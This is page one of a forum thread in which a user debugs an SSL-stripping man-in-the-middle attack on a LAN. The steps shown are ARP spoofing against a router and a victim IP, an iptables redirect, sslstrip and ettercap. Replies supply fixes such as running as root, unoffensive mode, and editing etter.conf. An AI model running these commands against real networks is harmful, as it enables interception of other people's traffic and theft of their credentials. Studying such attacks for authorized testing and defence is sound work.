Page 1 of 2 12 LastLast
Results 1 to 10 of 13

Thread: Ettercap - iptables problem : permission denied

  1. #1
    Junior Member
    Join Date
    Jan 2010
    Posts
    31

    Default Ettercap - iptables problem : permission denied

    Hello All,


    I'm actually trying to get sslstrip/ettercap working on a Lan.

    -1)
    Code:
    echo 1 > /proc/sys/net/ipv4/ip_forwar
    d
    (when i type "
    Code:
    cat /proc/sys/net/ipv4/ip_forward
    it's OK, value = 1)

    -2)
    Code:
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
    -3)
    Code:
    arpspoof -i wlan1 -t 192.168.1.1 192.168.1.37
    -4)
    Code:
    sslstrip -a -k -l 10000
    -5)
    Code:
    ettercap -T -q -p -i wlan1
    --
    I launch the attack. The victim can go on the web, the https is very slow but nothing in sslstrip.log and when i shut down Ettercap i obtain this :

    Code:
    iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
    Perhaps iptables or your kernel needs to be upgraded.
    iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
    ...

    I'm actually looking on many sites since something like 2 hours but i don't find any solution ... Someone speak about changing UID and GID to 0 ... I don't think that i will change anything but ...

    I someone have an idea, i'll love him for the end of my life (of course i do!)


    EDIT: Of course i'm root !
    Last edited by Carto_; 05-13-2011 at 12:28 AM.

  2. #2
    Just burned his ISO
    Join Date
    May 2011
    Posts
    1

    Default Re: Ettercap - iptables problem : permission denied

    Hi,

    As you handle packet forwarding with iptables, have you tried ettercap 'unoffensive' mode ?
    Code:
    ettercap -T -q -p -u -i wlan1

  3. #3
    Just burned his ISO
    Join Date
    Dec 2010
    Posts
    10

    Default Re: Ettercap - iptables problem : permission denied

    Having the exact same issue...

  4. #4
    Senior Member
    Join Date
    Jan 2010
    Posts
    140

    Default Re: Ettercap - iptables problem : permission denied

    The error that you are getting is saying that you are not root. Try throwing a "sudo" in front of your iptables command.
    Code:
     sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
    Or make sure you are logging in as root.

    EDIT: I just tested the Gnome x86 distro running the exact commands that you are using and everything worked fine. No errors and captured traffic.
    Last edited by Dudeman02379; 05-13-2011 at 01:33 PM.

  5. #5
    r083rt
    Guest

    Default Re: Ettercap - iptables problem : permission denied

    have you edit the ettercap config file???

    Code:
    nano /etc/etter.conf
    hold shift + press w then t
    enter line 17 and you will see these lines you must change to 0

    ec_uid = 65534 # nobody is the default
    ec_gid = 65534 # nobody is the default

    to this

    ec_uid = 0 # nobody is the default
    ec_gid = 0 # nobody is the default

    hold shift + press w then t
    type 1 then
    hold shift + press w then t
    type 168 and change the following lines

    #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
    #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

    to this

    redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
    redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

    press ctrl+x and y to save



    r083rt
    Last edited by r083rt; 05-13-2011 at 01:14 PM.

  6. #6
    Just burned his ISO
    Join Date
    Dec 2010
    Posts
    10

    Default Re: Ettercap - iptables problem : permission denied

    ^ Did all of that.
    I've been able to run Ettercap in the past.
    More people have this problem when I google arround.

  7. #7
    r083rt
    Guest

    Default Re: Ettercap - iptables problem : permission denied

    Code:
    echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
    if you are using gnome you might want to use the super user command
    ive had this in the passed when cat gives out the output of 1 but is not giving root privileges

  8. #8
    My life is this forum thorin's Avatar
    Join Date
    Jan 2010
    Posts
    2,629

    Default Re: Ettercap - iptables problem : permission denied

    echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
    I'm not sure if this happens on BT but sometimes when you do things like this on Ubuntu if you're sudo creds aren't cached then the command will just hang because you never get prompted by the piped command for your sudo creds.
    I'm a compulsive post editor, you might wanna wait until my post has been online for 5-10 mins before quoting it as it will likely change.

    I know I seem harsh in some of my replies. SORRY! But if you're doing something illegal or posting something that seems to be obvious BS I'm going to call you on it.

  9. #9
    Senior Member
    Join Date
    Jan 2010
    Posts
    140

    Default Re: Ettercap - iptables problem : permission denied

    Have you tried using eth0 instead of wlan1? Possibly a compatibility problem with your wireless card? Also which version of Backtrack 5 are you using?

  10. #10
    r083rt
    Guest

    Default Re: Ettercap - iptables problem : permission denied

    sorry yea thorin I know but just throwing it out there as a workaround itsused in ubuntu when user wants to do it on the fly ive ettercap running in both gnome and kde just trying to give some suggestions to elimiate or narrow down some things it wasnt a permanent fix just trying to find out if its a user problem or something else and fix and find out why the OP is having the problem

    just trouble shooting trying differnet things and then find the proper soultion based on the work around

    Have you tried using eth0 instead of wlan1? Possibly a compatibility problem with your wireless card? Also which version of Backtrack 5 are you using?
    with compatibility problem It should however go into forwarding mode but packets will be returned and not give the root user message but all help and ideas are grateful


    thanks

    r083rt
    Last edited by r083rt; 05-13-2011 at 02:15 PM.

Page 1 of 2 12 LastLast

Similar Threads

  1. Replies: 4
    Last Post: 05-08-2010, 12:21 AM
  2. permission denied-help plz
    By imported_reslan_912 in forum OLD BackTrack 4 General Support
    Replies: 4
    Last Post: 03-16-2010, 02:07 PM
  3. permission denied,How come?
    By ﻬYuri in forum OLD BackTrack 4 (pre) Final
    Replies: 9
    Last Post: 08-09-2009, 09:38 PM
  4. Permission denied
    By imported_hello in forum OLD Newbie Area
    Replies: 10
    Last Post: 10-28-2008, 06:06 PM
  5. ettercap "can't create lf.ecp:Permission denied"
    By demonize in forum OLD Newbie Area
    Replies: 1
    Last Post: 06-02-2008, 03:13 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •